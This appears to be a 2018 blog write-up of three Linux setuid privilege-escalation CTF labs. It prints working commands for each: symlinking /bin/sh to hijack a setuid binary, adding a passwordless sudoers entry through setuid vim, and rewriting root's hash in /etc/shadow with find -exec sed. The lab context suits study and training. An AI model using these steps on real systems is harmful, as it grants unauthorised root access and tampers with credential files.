Linux Privilege Escalation - SetUID

Today, I’ll be tackling the three SetUID-based privilege escalation attacks currently on Pentester Academy’s Attack/Defence CTF.

Exploiting SetUID Programs

Vulnerable setuid programs on Linux systems could lead to privilege escalation attacks. In this lab, you are provided a regular user account and need to escalate your privileges to become root. There are 2 programs in your home directory welcome and greetings which might be vulnerable. Your mission: Get as root shell on the system View /etc/shadow Note: Development tools e.g. gcc is installed on the system already.

When we open our shell, we’re greeted with two files, one of which is a SetUID binary, and the other is not readable by our user.

student@attackdefense:~$ ls -l
total 24
-r-x------ 1 root root 8296 Sep 22 21:24 greetings
-rwsr-xr-x 1 root root 8344 Sep 22 21:24 welcome
student@attackdefense:~$ file *
greetings: regular file, no read permission
welcome:   setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=199bc8fd6e66e29f770cdc90ece1b95484f34fca, not stripped

Let’s go ahead and run that binary and see what we get.

student@attackdefense:~$ ./welcome
Welcome to Attack Defense Labs

Seems like it’s a pretty straightforward printout of a message, but how can we use this to escalate privileges?

Omitted here is the half hour I spent scanning the entire filesystem for another SetUID binary to exploit. Eventually, though, I decided that clearly I was intended to use the binary in the home directory, so I should probably look more into it.

Where is that binary getting the message that it outputs? Is it static?

student@attackdefense:~$ strings welcome
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__cxa_finalize
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
AWAVI
AUATL
[]A\A]A^A_
greetings
...

The fact that the only imported functions appear to be setuid and system, coupled with the fact that there is a string of the file greetings that is marked as an executable likely means that welcome is in fact just executing greetings. At this point, I felt very silly. I had spent half an hour trying to make everything more hard than it was.

Knowing that our setuid program is just blindly executing greetings, I know that if I create a symlink to /bin/sh named greetings, then execute welcome I should get a root shell. It is worth noting that this only works because I am the owner of the /home/student directory, allowing me to delete the existing greetings.

student@attackdefense:~$ rm /home/student/greetings
rm: remove write-protected regular file '/home/student/greetings'? y
student@attackdefense:~$ ln -s /bin/sh greetings
student@attackdefense:~$ ./welcome
# id
uid=0(root) gid=999(student) groups=999(student)
# head /etc/shadow
root:*:17764:0:99999:7:::
daemon:*:17764:0:99999:7:::
bin:*:17764:0:99999:7:::
sys:*:17764:0:99999:7:::
sync:*:17764:0:99999:7:::
games:*:17764:0:99999:7:::
man:*:17764:0:99999:7:::
lp:*:17764:0:99999:7:::
mail:*:17764:0:99999:7:::
news:*:17764:0:99999:7:::

We have now successfully escalated to a root shell.

Exploiting SetUID Programs II

As you’ve seen in another challenge in this category, setuid programs can provide great power and flexibility, but if not secured properly, can easily lead to a full system compromise. Your mission is to get a root shell on the box!

As far as missions go, this one is straightforward: Get r00t.

When we get into our shell, there’s nothing in the home directory. As the name of the game is setuid, let’s go ahead and enumerate all setuid programs. As an added bonus, we will throw in a CTF-ism, and only look for files with a modification date more recent than that of bash.

student@attackdefense:~$ find / -xdev -perm -4000 -newermm /bin/bash 2>/dev/null
/usr/bin/vim.tiny
/bin/mount
/bin/umount

Only one of those programs doesn’t need root, so vim is likely our way in. Let’s just give ourselves sudo access (with no password, because we don’t know student’s password).

I won’t be pasting text for this one, because Vim takes up the whole screen and such.

vim.tiny /etc/sudoers

Add the following line: %student ALL=(ALL) NOPASSWD:ALL

Force write-quit using :wq!. Since we opened the file as root, it will save our changes despite the warnings about it being a read-only file.

Now, lets spawn us a root shell.

student@attackdefense:~$ sudo su
root@attackdefense:/home/student# id
uid=0(root) gid=0(root) groups=0(root)

Got r00t? Yes we do.

Exploiting SetUID Programs III

Sometimes an admin might create setuid permissions for a common program to run as root. This is done to allow regular users to perform a routine task. Unfortunately, even completely benign looking programs can be misused by an attacker. Your mission is to get a root shell on the box!

As with before, we have no files in our home directory, so we will go ahead and enumerate setuid executables.

student@attackdefense:~$ find / -xdev -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/find
/usr/bin/newgrp
/usr/bin/chsh
/bin/mount
/bin/umount
/bin/su

find is the only executable that is not always setuid, and for good reason. find has a somewhat obscure option to execute arbitrary code for every file found. So, let’s get us some r00t.

My favourite tactic, due to it’s relative ease, is to replace the existing root password hash with 1234, the hash for which being $6$ZbvneNDSEXXO4pk1$DmvtdGOHZA8mbpVih5xtHrBcKk8VxZ0rXwLEK2M1iciGvM6qHXfuSY5YosPHj3Zv063JUX2p1TQqya4k1Azjx0.

student@attackdefense:~$ find . -exec sed -Ei 's/^(root\:)\*(.*)/\1\$6\$ZbvneNDSEXXO4pk1\$DmvtdGOHZA8mbpVih5xtHrBcKk8VxZ0rXwLEK2M1iciGvM6qHXfuSY5YosPHj3Zv063JUX2p1TQqya4k1Azjx0\2/' /etc/shadow \;
student@attackdefense:~$ su
Password:
root@attackdefense:/home/student# id
uid=0(root) gid=0(root) groups=0(root)

Pwned.

Conclusion

All in all, this was an interesting set of challenges. I definitely think that the first challege was the hardest of all three, because a little bit of reverse engineering was needed. The second challenge was a setuid vulnerability I had not encountered before, but was straightforward enough. The third I had actually seen in a previous CTF somewhere, though I cannot recall where.

Written on December 16, 2018